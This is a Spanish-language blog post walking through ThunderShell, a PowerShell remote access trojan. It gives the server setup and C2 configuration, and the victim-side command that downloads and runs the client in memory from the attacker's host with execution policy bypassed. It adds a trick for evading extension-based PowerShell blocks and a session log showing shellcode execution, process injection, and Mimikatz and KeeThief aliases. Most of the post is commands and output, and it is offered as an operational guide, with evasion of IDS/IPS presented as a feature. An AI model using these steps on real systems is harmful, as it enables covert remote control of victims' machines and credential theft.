ThunderShell: un RAT en Powershell

ThunderShell de Mr-Un1k0d3r es un RAT en Powershell que se basa en el uso de peticiones HTTP para la comunicación con el C&C.

Todo el tráfico de red se cifra utilizando una segunda capa de RC4 para evitar la interceptación SSL y anular cualquier sonda IDS/IPS o elemento de seguridad perimetral en la red.

DEPENDENCIAS
apt install redis-server
apt install python-redis

INSTALACIÓN SERVIDOR                                              
# git clone https://github.com/Mr-Un1k0d3r/ThunderShell.git 
# cd ThunderShell

Para que la víctima se conecte con el servidor del atacante deberá ejecutar el cliente (PS-RemoteShell.ps1). Lo más rápido es dejarlo accesible en Internet y usar el método DownloadString para descargar el contenido y ejecutarlo en memoria (fileless), como veremos más adelante.

En la PoC lo serviremos mismamente con un sencillo servidor con Python:
# mkdir WEB
# mv PS-RemoteShell.ps1 WEB/
# cd WEB/
# python -m SimpleHTTPServer 12346 &

A continuación modificaremos el fichero de configuración (default.json) indicando los puertos e IPs del servidor redis y http donde escuchará el servidor:
{
        "redis-host": "localhost",
        "redis-port": 6379,

        "http-host": "X.X.23.32",
        "http-port": 8080,
        "http-server": "Microsoft-IIS/7.5",

        "https-enabled": "off",
        "https-cert-path": "cert.pem",

        "encryption-key": "test",
        "max-output-timeout": 5
}

Y lo lanzaremos simplemente con:
root@atacante:~/ThunderShell# python ThunderShell.py default.json 

Thunder Shell 1.1 | Clients Server CLI
Mr.Un1k0d3r RingZer0 Team 2017
--------------------------------------------------------

[+] Starting web server on X.X.23.32 port 8080
                 
CONEXIÓN DEL CLIENTE

Ahora, en el PC de la víctima deberemos ejecutar:
powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://X.X.23.32:12346/PS-RemoteShell.ps1'); PS-RemoteShell -ip  X.X.23.32 -port 8080 -Key test -Delay 2000

Como veis utilizamos también el parámetro 'bypass' para evadir las políticas de ejecución de scripts.

Si es necesario, también podríamos modificar el payload según las defensas que encontremos en el equipo atacado. Por ejemplo, los administradores pueden bloquear PowerShell y otros intérpretes basados en una extensión, comúnmente .ps1. Para saltar esta restricción podríamos usar Get-Content para acceder al script en malware con extensión .ps2 y pasarla a Invoke-Expression (iex) para su ejecución:
powershell.exe –ep Bypass “& {Get-Content .\malware.ps2 | iex}

A vueltas al consola del servidor podemos ver como se conecta la víctima y obtenemos una sesión interactiva:
Thunder Shell 1.1 | Clients Server CLI
Mr.Un1k0d3r RingZer0 Team 2017
--------------------------------------------------------

[+] Starting web server on X.X.23.32 port 8080
 
(Main)>>> X.X.123.12 - - [20/Sep/2017 20:41:19] "GET /PS-RemoteShell.ps1 HTTP/1.1" 200 -


(Main)>>> 
[+] Registering new shell x64 - :WIN7PC\usuario
[+] New shell ID 1 GUID is 345cd113-1281-47d1-adc5-7c35d4207481


(Main)>>> help

Help Menu
-----------------------

    list      args (full)             List all active shells
    interact  args (id)               Interact with a session
    show      args (error/http/event, count)  Show error, http or event log (default number of rows 10)
    kill      args (id)               Kill shell (clear db only)
    exit                              Exit the application
    help                              Show this help menu

(Main)>>> list

List of active shells
-----------------------

  1    x64 - :WIN7PC\usuario

(Main)>>> list full

List of active shells
-----------------------

  1    x64 - :WIN7PC\usuario 345cd113-1281-47d1-adc5-7c35d4207481 last seen 20/09/2017 20:42:22

(Main)>>> interact 1

(x64 - :WIN7PC\usuario)>>> help

Shell Help Menu
-----------------------

    background                              Return to the main console
    refresh                                 Check for previous commands output
    fetch         args (path/url, command)  In memory execution of a script and execute a commmand
    exec          args (path/url)           In memory execution of code (shellcode)
    read          args (remote path)        Read a file on the remote host
    upload        args (path/url, path)     Upload a file on the remote system
    ps                                      List processes
    powerless     args (powershell)         Execute Powershell command without invoking Powershell
    inject        args (32/64, pid, command)Inject command into a target process (max length 4096)
    alias         args (key, value)         Create an alias to avoid typing the same thing over and over
    delay         args (milliseconds)       Update the callback delay
    help                                    Show this help menu


List of built in alias
-----------------------

    powerup                 PowerUp tool set
    wmiexec                 Remote-WmiExecute utility
    searchevent             Search-EventForUser utility
    keethief                KeeThief tool set (Get-KeePassDatabaseKey)
    mimikatz                Invoke-Mimikatz utility
    inveigh                 Invoke-Inveigh utility
    powerview               PowerView tool set


List user defined alias
-----------------------


(x64 - :WIN7PC\usuario)>>> whoami
WIN7PC\usuario

(x64 - :WIN7PC\usuario)>>> delay 0
Updating delay to 0
Delay is now 0

(x64 - :WIN7PC\usuario)>>> refresh

(x64 - :WIN7PC\usuario)>>> ps
 PID Name                      Owner         CommandLine                       
 --- ----                      -----         -----------                       
   0 System Idle Process                                                       
   4 System                                                                    
 392 smss.exe                                                                  
 492 csrss.exe                                                                 
 548 csrss.exe                                                                 
 556 wininit.exe                                                               
 592 winlogon.exe                                                              
 652 services.exe                                                              
 660 lsass.exe                                                                 
...


(x64 - :WIN7PC\usuario)>>> fetch powerview Get-NetLocalGroup -ComputerName 127.0.0.1
[+] Fetching https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
[+] Executing Get-NetLocalGroup -ComputerName 127.0.0.1
WIN7PC\usuario
...

LOGS

Todos los errores, peticiones http y comandos son registrados y guardados en la carpeta de logs, dentro de un directorio con nombre la fecha correspondiente. Por ejemplo:
# ls /root/ThunderShell-master/logs/20-09-2017
event.log
http.log
shell_345cd113-1281-47d1-adc5-7c35d4207481.log

# cat event.log 
[Wed Sep 20 20:41:32 2017] New Shell:
register 345cd113-1281-47d1-adc5-7c35d4207481 x64 - :WIN7PC\USUARIO

# cat http.log 
X.X.123.12 (Wed Sep 20 20:41:32 2017) [X.X.123.12] POST /?345cd113-1281-47d1-adc5-7c35d4207481 HTTP/1.1
X.X.123.12 (Wed Sep 20 20:41:39 2017) [X.X.123.12] POST /?345cd113-1281-47d1-adc5-7c35d4207481 HTTP/1.1
X.X.123.12 (Wed Sep 20 20:41:42 2017) [X.X.123.12] POST /?345cd113-1281-47d1-adc5-7c35d4207481 HTTP/1.1
X.X.123.12 (Wed Sep 20 20:41:46 2017) [X.X.123.12] POST /?345cd113-1281-47d1-adc5-7c35d4207481 HTTP/1.1
X.X.123.12 (Wed Sep 20 20:41:50 2017) [X.X.123.12] POST /?345cd113-1281-47d1-adc5-7c35d4207481 HTTP/1.1
...


# cat shell_345cd113-1281-47d1-adc5-7c35d4207481.log
[Wed Sep 20 20:43:30 2017] Sending:
help

[Wed Sep 20 20:43:48 2017] Sending:
whoami

[Wed Sep 20 20:43:55 2017] Received:
WIN7PC\usuario



[Wed Sep 20 20:44:11 2017] Sending:
delay 0

[Wed Sep 20 20:44:15 2017] Received:
Delay is now 0


[Wed Sep 20 20:44:17 2017] Sending:
whoami

[Wed Sep 20 20:44:20 2017] Received:
WIN7PC\usuario



[Wed Sep 20 20:44:38 2017] Sending:
fetch powerview Get-NetLocalGroup -ComputerName 127.0.0.1

[Wed Sep 20 20:45:07 2017] Sending:
refresh

[Wed Sep 20 20:45:36 2017] Sending:
ps

[Wed Sep 20 20:45:51 2017] Received:

 PID Name                      Owner         CommandLine                       
 --- ----                      -----         -----------                       
   0 System Idle Process                                                       
   4 System                                                                    
 392 smss.exe                                                                  
 492 csrss.exe                                                                 
 548 csrss.exe
....

Fuente: https://github.com/Mr-Un1k0d3r/ThunderShell

Comentarios